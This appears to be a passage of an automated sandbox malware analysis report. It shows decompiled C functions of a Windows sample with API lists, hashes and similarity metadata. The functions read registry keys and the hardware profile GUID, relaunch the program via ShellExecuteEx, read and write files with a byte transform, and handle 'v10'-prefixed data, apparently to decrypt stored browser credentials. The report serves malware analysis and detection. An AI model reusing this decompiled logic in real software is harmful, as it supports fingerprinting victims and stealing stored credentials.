				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

v10, xrefs: 0040724E
@, xrefs: 0040728A

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 695f2f9819c28733a97cf40cb2585777fdb39e9322881df5d36dfb9663137a0b
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 695f2f9819c28733a97cf40cb2585777fdb39e9322881df5d36dfb9663137a0b
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00587480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005874D2
LocalAlloc.KERNEL32(00000040,?), ref: 00587521
lstrcat.KERNEL32(?,00000000), ref: 00587587

Strings

v10, xrefs: 0058749E
@, xrefs: 005874DA

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: abbc0d4780aa638c88425491d3c16fbb15914012c8b338ddda43362413f1bdb8
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: 6B413A71A0420CEBDB14DFD8D844BEDBBB8BF88344F148169F905AB280D774AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0058B810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 0058B81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0058B82D
new[].LIBCMTD ref: 0058B84D
lstrlen.KERNEL32(?,?,?), ref: 0058B86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0058B879

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: 790892d5afcc9bfb4079f53bf79299b856f83fb74f23678bd8ce4aeba799a21c
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: 4F0144B5A01208BFDB04DFA8DC4AF9E7BB8EF4C300F108058F909DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x489cf0
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x488cb8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,00489CF0,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,00488CB8,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x482598
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x4880d8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,00482598,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,004880D8,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0058B1D0, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B1E4
RtlAllocateHeap.NTDLL(00000000), ref: 0058B1EB
RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00585AF9), ref: 0058B20B
RegQueryValueExA.ADVAPI32(00585AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0058B22C
RegCloseKey.ADVAPI32(00585AF9), ref: 0058B236

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 7b4b316f4686f12a15b064013accebe35adf0aa24cd7d428ea09ab7d414e5dec
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: E50144B5A41208BFE700DBD0DD49FEEB77CFB48700F008564FA05A7291D6745950CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0058B510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0058B51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0058B52B
RtlAllocateHeap.NTDLL(00000000), ref: 0058B532
memset.NTDLL ref: 0058B549
lstrcat.KERNEL32(?,?), ref: 0058B55A

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 6d1017c0bafb9332d4fe29ae4e6f190e709bef2f1295c1cf7ac742b3bf26ab52
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: BDF05E70A01209ABEB20ABA4DE09B9A77BCBB08701F0085A4FB05E7190DB359950CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2
v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x48a7a0
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x46e518
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x486598
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: c09505f78976d9c4013fa46f9ba1b79f17bdb69cd67e117ba5c3eed60e3d2b59
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: c09505f78976d9c4013fa46f9ba1b79f17bdb69cd67e117ba5c3eed60e3d2b59
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0058C1F0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0058C229
wsprintfA.USER32 ref: 0058C244
ShellExecuteEx.SHELL32(0000003C), ref: 0058C2A3

Strings

<, xrefs: 0058C25A

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: c9a09d4535bc12afe3ec490b836077d51f801aa28ce0665fcf8841cd78e5c2a9
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: 6E21EFB190020CABEB14EFE0DC89FDE77B8BB48701F004599F614B61A1DBB55688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
